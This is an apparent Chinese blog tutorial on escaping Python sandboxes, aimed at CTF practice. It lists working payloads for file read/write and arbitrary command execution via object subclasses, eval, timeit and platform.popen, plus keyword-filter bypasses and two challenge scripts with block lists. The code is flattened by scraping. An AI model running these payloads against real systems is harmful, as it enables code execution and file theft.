分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.csdn.net/jiangjunshow
也欢迎大家转载本篇文章。分享知识,造福人民,实现我们中华民族伟大复兴!
之前碰到了flask模板的漏洞的时候接触过python的一些东西,之前没时间去细看,现在看感觉很强悍,简单总结一下
首先我们不说原理了,也不是太明白,我们直接讲利用,一些python好玩的特性
1.内联函数
python的内敛函数真是强大,可以调用一切函数做自己想做的事情
__builtins____import__
- 1
- 2
我们输入
dir('builtins')
- 1
发现如下
我们在python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,现在小小总结了两种创建object的方法如下
().__class__.__bases__[0]''.__class__.__mro__[2]验证如下>>> print ''.__class__.__mro__[2]<type 'object'>>>> print ().__class__.__bases__[0]<type 'object'>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
然后我们看一下
存在一个hook函数,直接可以调用
存在file类型的object,事实上调用后可以对文件操作了
利用代码如下
//读文件().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()//写文件().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')//执行任意命令().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
2.python中可以执行任意代码的神奇函数
(1)timeit
import timeittimeit.timeit("__import__('os').system('dir')",number=1)
- 1
- 2
(2)exec 和eval 比较经典了
eval('__import__("os").system("dir")')
- 1
(3)platform
import platformprint platform.popen('dir').read()
- 1
- 2
(4)random和math
(暂时没找到)
3.一些简单攻击总结
(1)reload方法
>>> del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement>>> del __builtins__.__dict__['eval'] # evaluating code could be dangerous>>> del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file>>> del __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous
- 1
- 2
- 3
- 4
看似删除了函数,但是没有过滤reload函数
reload(__builtins__)
- 1
即可恢复
(2)寻找替代函数
我们在最开始的介绍本质上就是找到了__builtins__
的file属性的替代函数,可以直接进行文件操作,包括后面的任意命令执行也是找到了替代函数
(3)加密解密绕过字符串过滤
有可能前端是个web界面,过滤关键词,这里可以用encode什么尝试过滤,如下
>>> import base64>>> base64.b64encode('__import__')'X19pbXBvcnRfXw=='>>> base64.b64encode('os')'b3M='
- 1
- 2
- 3
- 4
- 5
然后可以构造
>>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64'))<module 'os' from '/usr/lib/python2.7/os.pyc'>
- 1
- 2
或者利用python对字符串处理的便利绕过,例如
[x for x in [].class.base.subclasses() if x.name == 'catch_warnings'][0].init.func_globals['linecache'].dict['o'+'s'].dict['sy'+'stem']('echo Hello SandBox')
- 1
4.收集的一些小题目
#!/usr/bin/env pythonfrom future import print_functionprint("Welcome to my Python sandbox! Enter commands below!")banned = [ "import", "exec", "eval", "pickle", "os", "subprocess", "kevin sucks", "input", "banned", "cry sum more", "sys"]targets = builtins.dict.keys() targets.remove('raw_input') targets.remove('print') for x in targets: del builtins.dict[x]while 1: print(">>>", end=' ') data = raw_input() for no in banned: if no.lower() in data.lower(): print("No bueno") break else: # this means nobreak exec data
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
def make_secure(): UNSAFE = ['open', 'file', 'execfile', 'compile', 'reload', '__import__', 'eval', 'input'] for func in UNSAFE: del __builtins__.__dict__[func]from re import findall# Remove dangerous builtinsmake_secure()print 'Go Ahead, Expoit me >;D'while True: try: # Read user input until the first whitespace character inp = findall('\S+', raw_input())[0] a = None # Set a to the result from executing the user input exec 'a=' + inp print 'Return Value:', a except Exception, e: print 'Exception:', e
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
应该比较粗糙,欢迎批评指正,或者大佬指点补充一下~